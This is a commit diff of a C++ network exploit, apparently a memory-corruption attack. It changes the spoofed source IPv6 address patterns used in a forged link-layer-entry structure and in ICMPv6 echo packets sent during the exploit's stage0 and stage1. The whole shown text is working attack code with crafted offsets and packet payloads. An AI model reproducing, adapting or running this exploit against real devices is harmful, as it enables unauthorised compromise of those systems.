50
50
51
51
const static std::string SOURCE_MAC = " 41:41:41:41:41:41" ;
52
52
const static std::string SOURCE_IPV4 = " 41.41.41.41" ;
53
- const static std::string SOURCE_IPV6 = " fe80::4141:4141:4141:4141 " ;
53
+ const static std::string SOURCE_IPV6 = " fe80::9f9f:41ff:9f9f:41ff " ;
54
54
55
55
const static std::string TARGET_IPV4 = " 42.42.42.42" ;
56
56
@@ -550,7 +550,7 @@ std::vector<uint8_t> Exploit::build_fake_lle(Exploit *self) {
550
550
V32 (fake_lle, 0xC4 , 0 ); // sin6_flowinfo
551
551
// sin6_addr
552
552
V64BE (fake_lle, 0xC8 , 0xfe80000100000000 );
553
- V64BE (fake_lle, 0xD0 , 0x4141414141414141 );
553
+ V64BE (fake_lle, 0xD0 , 0x9f9f41ff9f9f41ff );
554
554
V32 (fake_lle, 0xD8 , 0 ); // sin6_scope_id
555
555
556
556
// pad
@@ -737,7 +737,7 @@ int Exploit::stage0() {
737
737
}
738
738
739
739
std::stringstream sourceIpv6;
740
- sourceIpv6 << " fe80::" << std::setfill (' 0' ) << std::setw (4 ) << std::hex << i << " :4141:4141:4141 " ;
740
+ sourceIpv6 << " fe80::" << std::setfill (' 0' ) << std::setw (4 ) << std::hex << i << " :41ff:9f9f:41ff " ;
741
741
{
742
742
auto &&packet = PacketBuilder::icmpv6Echo (this ->source_mac , this ->target_mac ,
743
743
pcpp::IPv6Address (sourceIpv6.str ()), this ->target_ipv6 );
@@ -860,7 +860,7 @@ int Exploit::stage1() {
860
860
861
861
sourceIpv6.clear ();
862
862
sourceIpv6.str (" " );
863
- sourceIpv6 << " fe80::" << std::setfill (' 0' ) << std::setw (4 ) << std::hex << i << " :4141:4141:4141 " ;
863
+ sourceIpv6 << " fe80::" << std::setfill (' 0' ) << std::setw (4 ) << std::hex << i << " :41ff:9f9f:41ff " ;
864
864
865
865
{
866
866
auto &&packet = PacketBuilder::icmpv6Echo (this ->source_mac , this ->target_mac ,
@@ -1137,4 +1137,4 @@ void Exploit::stop() {
1137
1137
// Force stop capture even if blocking mode is enabled
1138
1138
pcap_breakloop (pcapHandle (*dev));
1139
1139
stopThread (*dev) = true ;
1140
- }
1140
+ }
0 commit comments